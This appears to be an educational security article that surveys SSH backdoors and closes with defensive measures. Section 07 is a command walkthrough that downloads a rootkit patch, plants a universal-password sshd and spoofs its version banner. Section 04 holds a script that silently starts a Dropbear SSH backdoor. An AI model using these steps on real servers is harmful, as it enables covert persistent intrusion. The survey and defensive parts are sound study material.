Understanding SSH Server Backdoors: A Comprehensive Guide to Risks, Vulnerabilities, and Defense Strategies

For UNIX systems, the SSH server, as the most widely used remote management service and having a certain degree of necessity to be open to the outside, inevitably attracts hackers’ attention, which makes SSH backdoors one of the most classic backdoor methods on UNIX. As part of basic penetration knowledge, the Omma Security Team has conducted a detailed analysis and summary of such backdoors in this article in hopes of assisting some beginners.

01 Introduction

Simply put, SSH is a security protocol built on the application layer. Through this protocol, one can remotely operate a server. Currently, the so-called OpenSSH, Dropbear SSH, etc., are tool manifestations of the SSH protocol.

The so-called backdoor comes into play in the post-exploitation phase, where the attacker, after obtaining root access to a server, needs to control the server long-term through the backdoor while evading detection by administrators.

Then, the concept of a rootkit essentially involves using a series of means to hide malicious programs to achieve long-term control. It can be imagined that its fundamental principle is to hide: communication stealth, auto-start item concealment, file hiding, process/module hiding, registry hiding, service hiding, port hiding, etc.

02 Fortinet FortiOS Backdoor

Poc: http://seclists.org/fulldisclosure/2016/Jan/26

This backdoor belongs to the hard-coded type, and in fact, many products have exposed this type of vulnerability

Outbreak Time: September 2016

>

As shown in the above PoC, it is known that by sending the built-in account Fortimanager_Access to the target machine, the information processed by the custom_handler function can be accessed.

Reflection: In reality, hard-coded vulnerabilities are widely present in various devices, including routers, gateways, firewalls, etc.

Examples:

• D-Link DWR-932B LTE Router, exists with admin:admin and root:1234
• CVE-2015-7755: Juniper ScreenOS Authentication Backdoor
• Backdoors exist in several Barracuda products

This type of backdoor exists through hard coding, serving as built-in accounts for developers and administrators to manage, but without proper permission control, allowing regular users or even malicious users to access these accounts.

03 Rakos Malware

Reference: https://github.com/eset/malware-ioc/tree/master/rakos

Rakos Malware mainly spreads in embedded devices, capable of brute-forcing SSH services to establish a botnet.

Major Timeline: Around August 2016

Attack Actions:

• Load YAML configuration file, which contains C&C server list and account password dictionary

>

• Open a local HTTP port 61314, mainly used for control through this port
• Send victim information (account passwords, etc.) via HTTP to the C&C side, also used for self-updating
• Send instructions via the C&C server to crack other machines’ SSH accounts, further infecting cracked machines into zombie machines

Reflection:

The fundamental reason for this case is the widespread brutal cracking of SSH services, coupled with administrators often neglecting IoT device management.

In practice, security incidents of brute force cracking can easily occur, and there are many pieces of similar-functionality malware on the market. In a highly secure network environment, sometimes the entry point might simply be a weak password.

04 SSHBearDoor

The sshBearDoor is mainly used as a backdoor capable of wiping hard disk data, primarily targeting Ukrainian media companies and the power industry.

Outbreak Time: Existed since 2007, resurfaced in 2014

SSH Backdoor:

This malware is bound to a Dropbear SSH backdoor, and the backdoor program is as follows:

Set WshShell = CreateObject(“WScript.Shell”)WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\”WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false

The detailed working principle of the backdoor is shown in the image below:

Backdoor Behavior: The backdoor here is essentially normal program functionality; it’s just that people wrote a remote connection tool using this SSH feature.

Reflection: The principle of this type of backdoor is essentially to achieve a simple SSH client and server using a provided third-party library and then install the server on the victim’s machine to achieve connection.

Similar tools include:

https://github.com/joridos/custom-ssh-backdoor, this tool implemented SSH functionality software using Python’s Paramiko library, then installed it on the server-side

What is relatively lacking is that most of the backdoor software on GitHub only implements SSH functionality and does not have hiding functionality

05 Ebury Trojan

This trojan primarily modifies the OpenSSH public library libkeyutils.so through patching, making it easy to obtain administrator account passwords

Outbreak Time: 2013

Trojan Behavior:

• Record login information of the infected machine’s users and send it to a remote machine, recording unencrypted private keys
• Leave no traces in log files
• Modify original signatures in the package manager
• When in promiscuous mode on the network interface

This trojan’s functionality is quite comprehensive, employing various techniques to hide the backdoor. We might dedicate a separate article to discuss it in detail.

06 SSHDoor

This backdoor primarily logs in through hard coding, able to steal usernames and passwords

Time: 2013

Backdoor Behavior:

• Strings of hidden behavior are encoded using XOR
• Transmit stolen information via HTTP and send information to remote machines

• Set a universal password
• Replaced the original system private key, allowing direct access to remote machines

07 OpenSSH Patch BackDoor

Let’s look at a primitive OpenSSH backdoor. This backdoor modifies OpenSSH via patching and recompiles it to replace SSHD. Similar to the Ebury backdoor, it can record user account credentials, but its functionality is far inferior to Ebury, and it lacks corresponding hiding capabilities.

[root@localhost ~]#cat /etc/issueCentOS release 6.8(Final)Kernel \r on an \m #1. The SSH backdoor currently supports versions below 5.9 online. This time I am using the CentOS 6.8 built-in OpenSSH 5.3[root@localhost ~]#ssh -VOpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013 # 2. Download two files [root@localhost ~]#wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz[root@localhost ~]#wgethttp://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz [root@localhost ~]#ls0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz #3. Backup configuration file [root@localhost ~]#mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old [root@localhost ~]#mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old [root@localhost ~]#tar -zxvf openssh-5.9p1.tar.gz[root@localhost ~]#tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.patch/openssh-5.9p1.patch/LICENSEopenssh-5.9p1.patch/INSTALLopenssh-5.9p1.patch/READMEopenssh-5.9p1.patch/sshbd5.9p1.diffopenssh-5.9p1.patch/ssh_integrity_checker.sh #4. Patch#5. Set backdoor login password located in the includes.h file where a universal password is set. In the Version.h file, set the version banners, these banners are changed to match the original system [root@localhost openssh-5.9p1]# yum install zlib-devel opensslopenssl-devel zlib zlib-devel#7. Compile and install [root@localhost openssh-5.9p1]# yum install zlib-devel[root@localhost openssh-5.9p1]# yum installopenssl openssl-devel[root@localhost openssh-5.9p1]# yum installgcc[root@localhost openssh-5.9p1]# ./configure–prefix=/usr –sysconfdir=/etc/ssh[root@localhost openssh-5.9p1]# make&& make install#8. Verify execution: strings/usr/sbin/sshd to see that the backdoor we need has already been written into the SSH system using the universal password 123123 to log in successfully

08 Defense Methods

To identify rootkits, there are currently several tools available, such as chkrootkit, Rootkit Hunter, Lynis, ISPProtect, etc., that can automatically detect systems.

Attacks are singular, but defense is systematic. Reinforcing after being breached is weak. We can simply consider backdoor programs as hidden access permissions, with the attacker disguising as a normal user. The defender’s task is to identify these disguises:

Port Monitoring: This includes both internal and external network monitoring: Control external ports through a whitelist and strictly prevent unauthorized opening of external ports; For internal port variability, is it possible that these changes have patterns or models? This requires further research

File Monitoring: Establish a file monitoring system, periodically detect file integrity, monitor file permission changes. Match software MD5 values to avoid software replacement

Configuration Security: Baseline detection should be performed, as often after a server is breached, user configurations are modified, and usually HIDS won’t check the file contents. Baseline configuration is hence crucial

Traffic Detection: Common in HIDS systems like Snort, the key is the interconnection of various defense systems and analysis to extract security events, thus enhancing threat intelligence